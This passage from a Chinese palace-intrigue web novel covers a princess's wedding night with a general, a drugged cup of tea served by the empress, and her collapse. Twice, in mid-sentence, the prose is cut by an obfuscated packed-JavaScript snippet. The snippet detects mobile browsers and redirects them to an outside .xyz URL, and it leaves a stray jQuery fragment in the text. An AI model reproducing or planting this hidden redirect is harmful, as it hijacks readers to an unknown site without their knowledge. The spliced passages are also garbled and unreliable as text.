开门带起的气流涌入,吹动了室内明灭的烛火,也拂动了站在门内不远处那人的发丝。 崔逢青不知何时已卸下了沉重的发冠。 墨黑的长发仅用一根暗红色的绸带在脑后松松束起,仍有几缕不听话的发丝挣脱束缚,垂落在他线条冷硬的颊边和颈侧。 他身姿依旧挺拔如松,穿着一身玄色常服,褪去了白日里的肃杀,在摇曳的烛光下,竟显出一种罕见的、近乎慵懒的俊美。 最让浮梦呼吸一窒的是他的姿态。 他微微低着头,双手捧在身前——那并非金银珠宝,而是一束被一根细细的红线精心缠绕、捆扎在一起的乌发。 那发丝一束浓黑如墨,显然是崔逢青自己的;另一束则泛着柔润的光泽,正是浮梦先前被喜婆拆下的。 他就那样捧着这束象征着“结发同心”的青丝,如同捧着一件稀世珍宝,安静地、近乎虔诚地等待着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123965|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的归来。这与他平日冷面阎罗的形象形成了巨大到近乎荒诞的反差。 浮梦的大脑空白了一瞬。 饶是她自诩“见多识广”,此刻也被这极具冲击力的一幕钉在了原地,心中呐喊:这……这崔逢青……原来竟生了这样一副好皮囊?!不对!他在干嘛?!结发?!这戏还没演完吗?! 崔逢青维持着低头的姿势,久等不到回应,只能听到自己擂鼓般的心跳(该死!早知道不听郑闫那厮的馊主意了!)。 他强自镇定,清了清嗓子,故作自然地直起身,试图用最公事公办的语气打破这令人窒息的沉默: “咳,殿下既归,礼不可废。这结发……”他顿了顿,目光落在手中的发结上,又飞快地瞥了浮梦一眼,似乎在确认她的反应。 “结!”浮梦几乎是脱口而出,话一出口,她就恨不得咬掉自己的舌头。美色误人!绝对是美色误人!她怎么能被这煞神一时的皮相迷惑了心神?! “砰!砰!”两声闷响,门外的春意和月明动作快如闪电,迅速而有力地将两扇门严丝合缝地关紧,力道之大,震得门框都似乎轻颤了一下。 巨大的关门声在寂静的婚房内回荡,更衬得此刻的安静无比尴尬。浮梦只觉得脸颊发烫,恨不得找个地缝钻进去。 她干巴巴地“哈哈”笑了两声,试图用夸张的演技掩饰内心的兵荒马乱:“将军……真是……有心了哈?” 崔逢青却像是没听出她语气里的窘迫,反而像是得到了某种许可。 他上前一步,不容拒绝地将那束捆扎得有些笨拙却异常牢固的发结,轻轻放到了浮梦微凉的手心。 若是浮梦此刻抬头细看,定能发现这位冷面将军紧抿的唇角,正抑制不住地向上弯起一个极其细微、却真实存在的弧度——那是往日里谁都不曾见过的、带着一丝笨拙的欣然。 “我……”崔逢青开口,意识到自称不妥,立刻改口,“臣的祖父性情刚直,若有不周之处,望殿下海涵。日后殿下居于将军府,府中一应内务,皆由殿下掌管……” “停!”浮梦像是被烫到般打断他,将那束发结攥紧又松开,仿佛那是什么棘手之物, “本宫没兴趣掌管中馈!”那些琐碎的管家事务,她从小避之不及。 至于崔太傅?不过是一场交易的附加条款罢了,她压根没放在心上。 想通了这一点,方才那点因“结发”而起的慌乱瞬间消散了大半——她刚才到底在紧张什么? 意料之中的拒绝,崔逢青眼底那点微光并未熄灭,只是平静地点点头:“是,臣明白了。”他不再强求,目光扫过室内,最后定格在窗边那张铺着锦褥的软榻上。 “时辰不早,”他的声音恢复了平日的沉稳,“今夜人多眼杂,为免横生枝节,委屈殿下与臣同处一室。” 说完,他不再看浮梦,径直转身走向那张软榻。 玄色的背影在烛光下拉得很长,带着一种不容置疑的决断。他利落地和衣躺下,背对着那张宽大华丽的婚床,只留下一个沉默而挺拔的轮廓。 一缕红色的绸带从榻边垂落,在光洁的地面上投下一道暗影。 浮梦看着他的背影,心中紧绷的弦终于松了一分。 她走到妆台前,拉开一个抽屉,有些仓促地将那束仿佛还带着崔逢青体温的发结塞了进去,仿佛要藏起什么烫手的证据。 “结发为夫妻,恩爱两不疑”?呵,这缠绵悱恻的词句,与他们这对因阴谋和交易捆绑的“夫妻”何其讽刺。她本想问问他谢今茛那个蠢货是怎么回事,此刻也没了心思。 她吹熄了大部分蜡烛,只留了床边一盏小灯。回到那张铺着百子千孙被的婚床上,学着崔逢青的样子和衣躺下。 然而,眼睛一闭上,寒客居暗格内那地狱般的景象便如同跗骨之蛆,疯狂地涌入脑海。那些屈辱的画像,那些狎昵的词句,母亲那张被扭曲、被玷污的脸……每一个细节都化作冰冷的毒针,反复穿刺着她的神经。 黑暗中,她睁着眼,毫无睡意。 耳边是崔逢青在软榻上平稳悠长的呼吸声,眼前却是挥之不去的噩梦。母亲那些年……究竟是怎样熬过来的? 17.茶水 金楼偏殿内,死寂无声,唯有窗外渐起的熹微天光,勉强驱散了些许室内的昏暗。 浮梦靠坐在床沿,眼底是浓得化不开的乌青,如同一夜未眠的鬼魅。 梳洗的冷水泼在脸上,才让她混沌的思绪稍清。抬眼看到春意端着水盆进来,眼底同样带着倦色和担忧,浮梦这才感到一阵迟来的、排山倒海的困意汹涌袭来。 而同处一室的崔逢青,虽阖着眼,呼吸却始终带着一种刻意压抑的平稳,不见丝毫沉睡后的松弛。 他背对着她,宽阔的肩膀在晨光中勾勒出冷硬的线条。 昨夜是他成年后第一次与女子同室而眠,那若有似无的、属于她的清浅气息,以及她辗转间压抑的细微声响,都让他体内的警觉绷到了极致。 他能感觉到她同样一夜未眠。这座华丽的金楼,究竟还藏着多少足以撕裂人心的秘密?他闭着眼,无声地思忖。 浮梦不懂熟睡之人的呼吸该是怎样的,只觉得窗边那人如同蛰伏的猛兽,气息深沉却锐利,躺下后便纹丝不动,仿佛一块冰冷的磐石。 此刻困倦上头,她无暇再细究这些。宫中还有一场硬仗要打,不知今日那“椒房殿”里,等着她的又会是什么。 清晨的椒房殿,一反往日的肃穆,被一片刺目的赤红席卷。窗棂贴满“囍”字,廊下悬着红绸,连宫女太监的腰带都换成了喜庆的朱色——这是后宫许久不见的、刻意堆砌的喧嚣。 红素眼底带着明显的倦色,昨夜伺候到三更方歇,躺下不足两个时辰,就被唤起为皇后梳妆。 今日是熙仁公主入宫“见姑舅”的日子,彰显皇恩浩荡。椒房殿内外人声渐起,宫人们脸上带着小心翼翼的兴奋,谁都知道,今日若伺候好了,赏钱能抵大半年月俸——这深宫,难得有件“喜事”。 铜镜前,皇后端坐着,神情是罕见的平和。 她非但没有挑剔早膳的咸淡,对伺候梳洗时小宫女微微颤抖的手也视若无睹,全程唇角噙着一抹浅笑,任由红素为她绾上繁复的凌云髻,簪上赤金点翠凤簪。 殿内气氛松弛了些许,几个小太监甚至交换了眼色,以为皇后娘娘也为公主大婚而高兴。 只有红素和侍立在角落阴影里的福泉,心弦绷得更紧。他们太熟悉这位主子了。 宫门外,德全那张布满褶子的老脸堆满了恰到好处的笑容,如同迎客的招子,早已恭候多时。 软轿落地,浮梦强撑着精神步下。 德全立刻殷勤地躬身上前:“公主殿下万福!” 他眼角的余光却精准地扫向紧随其后的崔逢青,脚步一挪,恰好挡在了将军与宫门之间。 “将军留步。”德全的笑容更深了几分,带着一种不容置疑的圆滑, “礼不可废,‘见姑舅’乃妇谒之礼,将军此刻入宫,于制不合。还望将军在此稍候,殿下礼毕即归。”他微微躬身,姿态谦卑,话语却如一道无形的墙。 崔逢青的脚步顿住,目光越过德全花白的头顶,追随着浮梦乘坐的软轿缓缓消失在层层宫门深处。 那玄色的身影在巍峨宫墙的映衬下,显得格外孤绝,王松年浓眉倒竖,上前一步欲言,却被崔逢青一个抬手制止。 他收回目光,脸上看不出喜怒,对着浮梦消失的方向,依礼躬身,双手交握置于身前,声音沉稳清晰地穿透宫门前的寂静:“臣,在宫外等候殿下。” 礼毕,他依制退至一旁,仿佛真的只是恪守规矩。随即,他朝王松年招了招手,后者立刻附耳上前。 “去,”崔逢青的声音压得极低,只有两人能闻,“找到昨夜那三只‘老鼠’,查清他们背后是谁在探头探脑。” 吩咐完,他仿佛才想起德全还在,侧首朝他微微颔首,语气平淡地解释: “金楼新居,昨夜竟溜进了几只不识趣的老鼠,惊扰殿下清梦,派人去清理干净,免得再生事端。”他目光平静地注视着德全。 德全脸上笑容不变,连眼角的褶子都没多动一下,仿佛深有同感地点头: “将军有心了。这天儿是热起来了,蛇虫鼠蚁也愈发猖獗。”语气寻常得如同在谈论天气。 崔逢青眼底滑过一丝冷意,偌大的皇宫,还有几人记得那些被刻意掩埋的前尘旧事?这潭水,比他预想的更深、更浑。 椒房殿内,气氛庄重而微妙。 帝后端坐于上首,下首两侧分坐着谢贵妃、淑妃以及其他三位嫔妃。四妃中的淑妃之位空悬多年,前段时日才由一位新晋的年轻嫔妃补上,听闻已有了身孕。 浮梦步入殿中,目光扫过这济济一堂的后宫“长辈”,心中掠过一丝恍惚。 她进宫次数寥寥,见过的妃嫔屈指可数,除了皇后,也就那位总是带着点慵懒笑意、存在感却不强的谢贵妃有些印象。 “儿臣参见父皇、皇后娘娘、诸位娘娘万福金安。” 浮梦依礼下拜,声音带着一丝刻意维持的平稳,她深深垂首,将所有的情绪死死压住。 “父皇”多么可笑,这么多年,他演得辛苦,她看得更累,剥开这层金玉其外的皇家身份,他与深山里那些强取豪夺的土匪有何区别?! 怒火在胸腔里灼烧,几乎要冲破喉咙。 她只能将头垂得更低,指甲深深掐进掌心,用尖锐的痛楚强迫自己冷静。 不能看,不能想!母亲要她活下去……她闭上眼,狠狠咬住牙关,强迫自己调整呼吸,咽下那口翻涌的血腥气。 这老贼……真令人作呕! 她不曾察觉,在她极力压抑之时,一道来自侧方的视线,如同无形的丝线,始终缠绕在她身上,带着审视,也带着一丝难以言喻的复杂。 直到后来习武,她才明白,这种如芒在背的感觉,叫做“凝视”。 “起来吧。”皇帝的声音从上方传来,带着一种刻意营造的轻松,“既已嫁作人妇,往后便要与皇后多学着些,持家理事,相夫教子。” 他身体微微前倾,左手随意地摩挲着茶盏边缘,仿佛在扮演一个寻常官宦人家关心女儿婚事的慈父。 皇后闻言,脸上笑容更盛,接口道: “陛下说的是,熙仁这孩子聪慧剔透,陛下可是时常在臣妾面前夸赞呢,更何况……” 她话锋一转,目光似有若无地飘向皇帝,语气带着恰到好处的怀念与试探,“她母亲当年也是……” “咳!”皇帝一声轻咳打断了她,目光如冷电般睨了皇后一眼,带着毫不掩饰的警告。 皇后像是被提醒了,立刻掩口轻笑,眼底却无半分笑意: “瞧本宫,一高兴就说多了,不说了,不说了,今日是熙仁的好日子。”她挥挥手,示意礼部官员开始仪式。 本该繁琐冗长、充满训诫与感怀的“聆训”、“敬茶”环节,在帝后心照不宣的默许下,被礼官执行得一板一眼,丝滑得近乎敷衍。整个过程竟不到一炷香便草草收场。 更令浮梦意外的是,皇后竟未借此机会“传授妇德经验”,也未对特意请来的、尤其是有孕的淑妃多置一词——这与她预想中可能出现的刁难大相径庭。 她本以为,皇后至少会借“过来人”的身份敲打几句,或是利用淑妃的肚子做些文章。 皇帝见仪式顺利完成,面上露出一丝满意的神色,随即起身: “前朝尚有政务,朕先去了。”他并未多看浮梦一眼,在宫人的簇拥下离开了椒房殿。 皇帝的离去,仿佛抽走了殿内最后一丝紧绷的弦。 皇后慵懒地向后靠进凤椅中,嘴角的笑意非但没有收敛,反而愈发上扬,眼角眉梢都堆叠起深深的纹路,眼睛眯成两条弯弯的细缝。 那笑容慈祥得诡异,如同童谣里披着人皮、即将露出獠牙的妖怪,正对着猎物垂涎欲滴。 “诸位妹妹,”皇后的声音带着一丝慵懒的拖腔,“仪式既毕,本宫就不多留你们了。” 几位嫔妃面面相觑,有人如蒙大赦想起身告退,有人却似乎嗅到了什么,犹豫着是否该留下。 出乎所有人意料,向来对后宫纷争置身事外、只爱抚琴赏花的谢贵妃,竟率先开了口。 “皇后娘娘,”谢贵妃的声音依旧娇柔婉转,如同莺啼,她眼波流转,带着一丝天真无邪的好奇, “您说要教导熙仁为妇之道,为何又要支开我们姐妹几个呢?莫非……是什么我们听不得的体己话?”她掩唇轻笑,目光却意有所指地扫过浮梦。 淑妃闻言,立刻抚上自己尚未显怀的小腹,柔声附和: “是啊皇后娘娘,臣妾虽愚钝,也想听听娘娘的教诲,也好为日后……”她的话留了一半,眼神却带着一丝不易察觉的挑衅看向皇后。 其余三位嫔妃交换着惊疑不定的眼神:新晋的淑妃竟如此大胆?刚有孕就敢在皇后面前这般说话? “噗嗤——”谢贵妃忽然笑出声来,打破了短暂的僵持,她看向皇后,眼里的天真瞬间褪去,换上一种近乎刻薄的戏谑, “哎呀,瞧我这记性,忘了皇后娘娘最是‘体恤’我们了。罢了罢了,本宫不过开个玩笑,这便告退,不耽误娘娘教导‘新妇’了。” 她特意加重了“新妇”二字,又意味深长地瞟了浮梦一眼,随即站起身,袅袅婷婷地向外走去,那娇媚的笑声随着她身影的远去,渐渐消散在殿门外。 剩下的四人见状,也连忙起身告退。淑妃在转身前,目光在浮梦脸上停留了一瞬,那眼神复杂难辨,带着探究。 浮梦心头微凛,这位年轻的淑妃,浑身上下都透着一股与年龄不符的、难以言喻的沉暮之气,令人极不舒服。 沉重的椒房殿宫门,在最后一位嫔妃离开后,被 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她压下翻腾的胃液,正欲像往常应付那些“头痛药”一般,抬手接过一饮而尽,然后速速离开这个令人作呕的地方。 然而,她的手还未触到杯盏,跪在地上的红素却猛地抬高了托盘,同时出声,声音不高却异常清晰,带着皇后昨夜亲自叮嘱的、一字不差的刻板: “殿下,‘见舅姑’之礼,皇后娘娘亲赐的第一盏茶,按制,当行跪礼谢恩。” 红素低着头,不敢看浮梦的眼睛,身体却绷得笔直,如同执行铁令的木偶。 浮梦伸出的手顿在半空,她看着红素高举的托盘,再看看凤椅上皇后那副等着看好戏的、冰冷而“慈祥”的面孔,一股压抑许久的邪火猛地窜起。 她嗤笑一声,缓缓收回手,站直了身体,下颌微扬,那双杏眸里瞬间燃起往日的桀骜与混不吝,声音清晰而带着嘲讽,响彻大殿: “皇后娘娘怕是贵人多忘事,忘了熙仁是个什么性子?还是说娘娘忘了宫里的旧例?” 她目光扫过皇后瞬间阴沉的脸,语速不疾不徐,却字字如刀, “今日礼制由女官代跪、代接、代饮,怎么?这杯茶,就非得本宫跪着喝才显得‘恩典’隆重?娘娘若执意如此,不如现在就去礼部,请几位大人来议一议这‘礼不可废’的章程?看看这规矩,到底是本宫记错了,还是娘娘您……记岔了?” 她在赌, 赌皇后今日真正的目标不是折辱她下跪,而是逼她喝下这杯“茶”,赌皇后这身“母仪天下”的华丽皮囊,在撕破脸皮、让人当殿强按公主下跪这种事上,终究有所顾忌。 殿内静寂, 红素举着托盘的手臂微微颤抖,额角渗出冷汗。她能感觉到身后凤椅上,那几乎要化为实质的冰冷怒意。 皇后的眼神阴沉得能滴出水来,握着凤椅扶手的手指因用力而骨节泛白,指甲深深陷入紫檀木中。她死死盯着浮梦那张写满挑衅与无畏的脸,胸膛微微起伏。 浮梦迎着她的目光,寸步不让。 时间仿佛凝固,几息之后,皇后紧抿的唇线几不可察地松弛了一丝,眼底深处掠过一丝权衡后的冰冷妥协——或者说是,对达成最终目的的暂时忍耐。 “……罢了。”皇后终于从齿缝里挤出两个字,声音干涩冰冷,“既然熙仁不喜这些虚礼,本宫也不勉强。茶,总是要喝的。” 红素如蒙大赦,立刻将托盘稍稍放低了些许。 浮梦心中冷笑,面上却依旧那副浑不在意的模样。她不再看皇后,抬手干脆利落地端起那杯犹带温热的茶盏,凑到唇边。 那奇异的甜腻香气更浓了,直冲鼻端,她屏住呼吸,不再犹豫,仰头将杯中茶汤一饮而尽。冰凉的液体滑过喉咙,留下一种难以形容的粘稠感。 “茶喝完了,” 浮梦将空杯随意地放回红素高举的托盘上,发出“叮”的一声轻响,对着凤椅方向敷衍地拱了拱手, “多谢娘娘‘款待’,熙仁告退。” 说完,她毫不留恋地转身,带着侍立在殿门边的春意,大步流星地朝殿外走去。脊背挺得笔直,步伐沉稳,仿佛只是结束了一场寻常的晨省。 直到那抹红色的身影彻底消失在宫门外,沉重的殿门再次缓缓合拢—— “啪嚓——!!!” 一声尖锐刺耳的碎裂声猛地从殿内炸响,是那只素白瓷杯被狠狠掼在地上,摔得粉身碎骨。 殿外的浮梦脚步未停,甚至更快,她一手紧紧捂住突然传来剧烈绞痛和强烈窒息感的胸口,一手拽住惊惶的春意,几乎是用跑的,朝着宫门的方向,夺路狂奔。 这次的“茶水”……果真不一样,那股粘稠的冰凉感,如同活物般在她体内蔓延开来,带来一种不详的预感。 18.18 浮梦踏出顺光门,每一步都似踏在绵软的云絮上,又像顶着千钧重压。 胸口闷窒得厉害,连带着每一次呼吸都带着铁锈般的滞涩感。宫墙投下的阴影,仿佛带着无形的重量,沉沉压在她的肩头。 宫门外,那辆青帷马车旁,崔逢青如渊渟岳峙般的身影撞入眼帘。 浮梦心头微微一松,至少此刻,她这“熙仁公主”的身份,于他尚有用处,暂时可作护身符。她只想快些离开这令人窒息的皇城,回到……将军府?金楼的行李想必已挪过去了,那地方总归比这吃人的宫阙让人安心些。 然而,脚步却越发沉重,如同灌了铅。 她紧紧攥着春意的手,指甲几乎要嵌进小侍女的皮肉里,留下一道道红痕。眼前景物开始旋转、模糊,一股灭顶的眩晕感席卷而来,她知道,自己快要撑不住了…… 崔逢青的目光自她踏出宫门便牢牢锁在她身上。 那苍白如纸的脸色,虚浮踉跄的步态,以及眉宇间强压的痛楚与涣散……每一丝异样都像尖锐的冰锥,狠狠刺进他眼底。 不对! 几乎是本能的反应,他身形如离弦之箭,几个箭步便已掠至浮梦身前。 “走……”浮梦只来得及吐出一个破碎的音节,整个人便如同断了线的木偶,软软地向前栽倒。 “殿下!”崔逢青低吼一声,长臂一伸,稳稳将那道失重的纤影接入怀中。怀中的人双目紧闭,气息微弱,任凭他如何低唤,再无一丝回应。 又一次! 她又一次在他眼前倒下! 冰冷的恐惧如同毒蛇瞬间缠紧心脏,十四岁北境城头面对十万敌军都未曾动摇的心志,此刻竟生出撕裂般的痛楚与慌乱。 那个在冷宫角落,曾用稚嫩声音说要保护他的小丫头,此刻却脆弱得仿佛一触即碎…… “让王松年速去请温神医!立刻!”崔逢青厉声下令,声音带着他自己都未察觉的紧绷与嘶哑。 他再顾不得宫门规矩、往来目光,打横抱起怀中轻得惊人的人儿,转身便冲向马车,动作迅疾如风。 “驾——!”车夫扬鞭,骏马长嘶,青帷马车如同脱缰的烈马,猛地窜出,激起一片烟尘,瞬间消失在顺光门长长的宫道尽头。 王松年刚刚料理完“老鼠”,还没来得及喘口气,便见将军的马车如狂风般卷过府门,紧接着便有人将命令传给他。 “请温神医”? 王松年呆愣一瞬,脑中警铃大作。 能让泰山崩于前而色不变的将军如此失态的,唯有……公主! 他猛地一个翻身跨上战马,马鞭在空中炸响,“歘”的一声,人已如离弦之箭般蹿了出去,只留下急促的马蹄声在空旷的街道回荡。 他从未见过将军这般模样。 上一次,还是将军十四岁初临北境战场,面对十万铁骑压城,脸上曾掠过一丝少年人难以掩饰的焦躁。自那以后,无论何等险境,将军眼中唯有冰封般的冷静。 今日……定是出了天大的事!王松年心头发沉,双腿用力一夹马腹,催促着马匹再快几分。 将军府内,气氛凝重得如同暴风雨前的死寂。 崔逢青小心翼翼地将浮梦安置在内室榻上。他强迫自己冷静,一遍遍告诉自己温神医医术通神,然而目光触及那张毫无血色的脸庞,指尖感受到那微弱的脉搏,心底翻涌的焦灼便如岩浆般灼烧着他的理智。 温祁是被王松年半拖半拽“请”来的,花白胡子被风吹得凌乱,衣襟也扯歪了。 老头气得吹胡子瞪眼,嘴里嘟囔着“粗鲁!莽夫!”,可一看到榻上昏迷的浮梦,所有抱怨瞬间咽了回去,浑浊的老眼瞬间锐利如鹰。 他二话不说,打开随身药箱,枯瘦的手指隔着手绢便搭上了浮梦纤细的腕脉。 时间在令人窒息的沉默中一分一秒流逝。 崔逢青端坐窗边,紧盯着温祁凝重的侧脸,试图从那布满皱纹的脸上读出任何一丝讯息。 他下意识地端起茶盏,一杯接着一杯,滚烫的茶水入喉却尝不出半分滋味,仿佛只是为了压下喉间那股翻涌的腥甜与暴戾。 茶壶空了,发出轻微的“咯嗒”声。 这声音如同最后一根稻草,崔逢青握着空杯的指节因用力而泛白,几欲碎裂。他猛地抬眼,目光如炬,几乎要穿透温祁的沉默——是生是死,是好是坏,总该有个结果! 就在崔逢青濒临爆发的边缘,温祁终于缓缓收回了手。他眉头紧锁,长长吁了一口气,神色复杂。 “如何?”崔逢青的声音低沉沙哑,带着极力压抑的紧绷。 温祁没立刻回答,反而没好气地瞪了一眼那空茶壶:“小子,老夫口干舌燥,连口水都没得喝,你就这般待客?”虽是抱怨,却也冲淡了几分室内的凝重。 崔逢青强压下心头的急切,挥了挥手。侍立一旁的春意立刻会意,无声地带着其他仆役迅速退了出去,并轻轻合上了房门。 “温神医,公主她……”崔逢青的目光再次投向榻上的人影,语气带着不容置疑的恳切。 温祁,本是游历天下的神医,因喜爱大云山川风物才定居于此。他捋了捋凌乱的胡须,神色转为严肃: “从脉象上看,公主身体并无急症重创。此番昏迷,是忧思过重,心血耗损,心神激荡之下不堪重负所致。静心休养几日,辅以安神之药,无性命之忧。” 崔逢青紧绷的肩线几不可察地松了一分。然而,温祁话锋一转,老神医眼中流露出深重的疑虑与凝重: “可是……老夫在她脉息深处,探得一丝极其隐晦、如同跗骨之蛆的异样。并非寻常剧毒,更像是一种……精心调配的‘锁’。” “锁?”崔逢青瞳孔骤然收缩。 “不错。”温祁点头,压低了声音, “此物无形无质,极难察觉,却如枷锁般深深嵌在神魂之中。它并非夺人性命,其作用……更像是在压制,压制某些记忆,或是某种……感知?天长日久,此物便与神魂纠缠愈深。 公主本就思虑深重,心神耗损,今日定是遭遇了极强烈的刺激,心神巨震之下,触动了这‘锁’的反噬,才导致昏迷。” 温祁看着崔逢青瞬间阴鸷如冰的脸色,叹了口气:“此物诡谲,非寻常药石可解。强行拔除,恐伤及根本。老夫……暂无良策。 眼下,只能先固本培元,稳住她的心神,待其自行苏醒。”他顿了顿,补充道, “但需切记,此类刺激,万不可再有!否则后果难料。” 温祁的话如同冰水浇头。 崔逢青沉默地立在窗边,身影被暮色拉长,投下浓重的阴影。 他望着榻上沉睡的容颜,眼底翻涌着骇人的风暴与刻骨的痛惜——是谁?竟在她身上种下如此阴毒的东西? 就在温祁离开后不久,负责留守金楼暗处监视的月明匆匆赶回将军府,脸上带着罕见的凝重,在廊下与刚喝上茶的温祁擦肩而过。 月明自然看到了王松年眼神中的警告,但金楼之事,刻不容缓。 “主子。”月明推门而入,单膝跪地。 崔逢青已回到榻边,正仔细地为浮梦掖好被角。闻声,他并未回头,只将床榻的帷幔轻轻拢好,确保外面看不到里面情形,才踱步至窗边的阴影里坐下,声音冷得像淬了冰: “说。” “陛下……去了金楼寒客居。”月明的声音压得极低,“龙颜震怒!” 崔逢青霍然抬眸,锐利的目光如同实质的刀锋,瞬间钉在月明脸上,整个房间的温度骤降。 月明只觉得一股无形的压力迫来,后背瞬间沁出冷汗,连忙道:“主子放心!所有潜入痕迹,除了那几只‘檐角老鼠’留下的,属下均已彻底清理,绝无遗漏!” 他顿了顿,眼中也闪过一丝困惑与后怕,“只是……陛下似乎发现了殿内有人进入的迹象……属下愚钝,实在想不出何处出了纰漏。” 崔逢青的眼神沉得可怕,手指无意识地摩挲着腰间冰冷的玉佩。被发现?那密室…… 金楼,寒客居主殿。 殿内灯火通明,却弥漫着令人窒息的低气压。所有宫人内侍皆匍匐在地,瑟瑟发抖,连大气都不敢喘。 皇帝面沉如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159207|179669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,背对着众人,站在那张巨大的书案前。 他手中捏着一小段烧剩的、带着明显新近点燃痕迹的蜡烛头,指尖因用力而微微发白。冰冷的目光扫过殿内每一个角落,最终落在那扇被巧妙复原的暗门方向。 德全几乎是连滚带爬地赶到,一进殿,便被这山雨欲来的恐怖气氛骇得腿软,“噗通”一声重重跪倒在地,额头紧贴着冰凉的金砖,发出沉闷的响声。 “陛……陛下……”德全的声音带着抑制不住的颤抖。 皇帝缓缓转过身,并未看德全,只是将那截残烛随意丢在御案上,发出“嗒”的一声轻响,却如同惊雷般炸在每个人心头。 “公主如何了?”皇帝的声音听不出喜怒,却比雷霆更令人胆寒。 德全咽了口唾沫,感觉喉咙干涩得发疼,小心翼翼地回禀:“回陛下,公主殿下……出了顺光门便……便昏厥过去了,至今未醒。太医署那边……” 他斟酌着措辞,将“皇后娘娘”四个字死死咽了回去,“……尚在诊断,具体因由,还……还未可知。” 他这话说得极尽委婉,但矛头所指,不言而喻。 皇帝嘴角勾起一丝冰冷的弧度,似笑非笑,目光终于落在地上抖如筛糠的老太监身上,那眼神锐利得仿佛要将他洞穿: “德全。”声音不高,却带着千钧之力,“你说说,昨夜……谁进过这主殿?” 皇帝俯身,从御案角落的阴影里,捻起一小撮极其细微、几乎难以察觉的、未被完全清扫干净的烛泪灰烬,举到德全面前。那灰烬带着一种不同于殿内常用龙涎香的、极其淡雅的冷梅气息。 “这蜡烛,是新点的。朕记得很清楚,昨夜宫宴前,此处所有灯烛,皆由朕……亲自查验过。”皇帝的声音如同来自九幽,每一个字都带着彻骨的寒意,“有人进来,又离开了。” 德全瞬间如坠冰窟,全身的血液仿佛都凝固了! 他猛地以头抢地,“咚!咚!”作响,声音带着哭腔:“老奴……老奴罪该万死!老奴这就去查!掘地三尺,定将这胆大包天的狂徒揪出来!给皇上一个交代!求皇上息怒!息怒啊!”恐惧让他几乎语无伦次。 “哼!”皇帝猛地一挥袖,将御案上那盏精致的鎏金烛台狠狠扫落在地,发出刺耳的金铁交鸣之声,碎裂的琉璃和滚落的蜡烛乱了一地。 满殿死寂,唯有皇帝沉重的呼吸声和德全压抑的啜泣声在空旷的大殿中回荡,如同鬼魅的低语。 椒房殿内,暖香浮动。 皇后谢氏正对镜欣赏腕上一只新得的翡翠玉镯,碧色通透,水头极足,映衬得她皓腕如雪。红烛高照,镜中人眉眼如画,唇角噙着志得意满的笑意。 红素悄无声息地快步走入,在皇后身后停下,低声道:“娘娘,公主殿下……出了顺光门,便晕厥过去了,至今未醒。” “啪嚓——!” 一声脆响突兀地炸开。 皇后腕上那价值连城的翡翠玉镯猝然断裂,碧绿的碎片溅落在光洁的金砖地上,发出清脆又刺耳的哀鸣。 “你说什么?!”皇后猛地转身,艳丽的面容因极度的震惊和难以置信而扭曲,声音陡然拔高,尖锐得破了音, “晕厥?!怎么会……”她下意识地反驳,那药……绝不会如此快发作!若真此时出事,她如何向皇帝交代?如何堵住这悠悠众口?! “娘娘息怒!”红素吓得连忙跪倒。 皇后胸口剧烈起伏,眼中瞬间布满阴鸷与狠厉,哪里还顾得上碎裂的玉镯。 她猛地一拍梳妆台,指甲上艳红的蔻丹如同滴血:“去查!让福泉立刻去查!公主在椒房殿接触了何人何物!吃食、熏香、茶点……一样都不许漏!查不出来……” 皇后凤目含煞,一字一顿,“他也别想活着回来——!” 就在皇后震怒之际,一个不起眼的小宫女悄无声息地从侧殿阴影中闪出,快步离开了椒房殿。 一声熟悉的猫叫,窗口敞开,屋外的人低声说着: “娘娘,公主晕过去了,至于金楼那边……陛下已然震怒,正着人彻查昨夜之事。” 19.19 “咚、咚、咚。” 小心翼翼的叩门声,打破了长乐殿内死水般的沉寂。 “娘娘……” 大丫鬟绿萝被众人推搡到最前头,声音发紧,其余宫人早已如惊弓之鸟,屏息退散。 每月固定这一次的“恩宠”,于别宫是求之不得的荣耀,于长乐殿,却如同无声的刑期。 绿萝入殿伺候三年,早已摸清主子的脾性——那是一种深不见底、从不外露的厌烦与冰冷。 她硬着头皮,在门外垂首伫立良久,里头却无一丝回应。绿萝只得试探着又问: “娘娘…今夜,可还如往日一般准备着?” 殿内静默片刻,一道清泠如泉的声音传来,即便染着薄怒,也依旧悦耳,却无端让人心底发寒:“张嬷嬷呢?” 绿萝心下一紧,久处之人方能分辨,这平静语调下是何等的不悦。 她不敢多言,轻手推开门扉,入内后又迅速合拢,才低声道: “已着人去寻了。嬷嬷这些时日…常往福寿宫走动。” 里头的人似乎极厌烦“福寿宫”三字,声音陡然转冷,截断了她的话: “前头是谁来传的旨?” “回娘娘,还是小李子公公。” 绿萝头垂得更低。她始终不明白,为何皇上临幸,于自家娘娘而言却像赴死般煎熬。 每次事后,那一碗浓黑的避子汤药,更是殿内心照不宣的秘密。 从前皇后还盯着,自太子册立后,便也睁只眼闭只眼了,唯有娘娘自己,次次不落。 “照旧。” 里面的声音没有丝毫犹豫,甚至带着一丝快意的决绝。 绿萝无声一叹,躬身应下:“是。” 恰在此时,张嬷嬷赶到了,发髻微乱,带着急促赶路的喘息。 绿萝如蒙大赦,立刻退了出去,将这令人窒息的空间留给这对主仆。 在这长乐殿,唯有自谢府就跟来的张嬷嬷,得贵妃娘娘青眼。 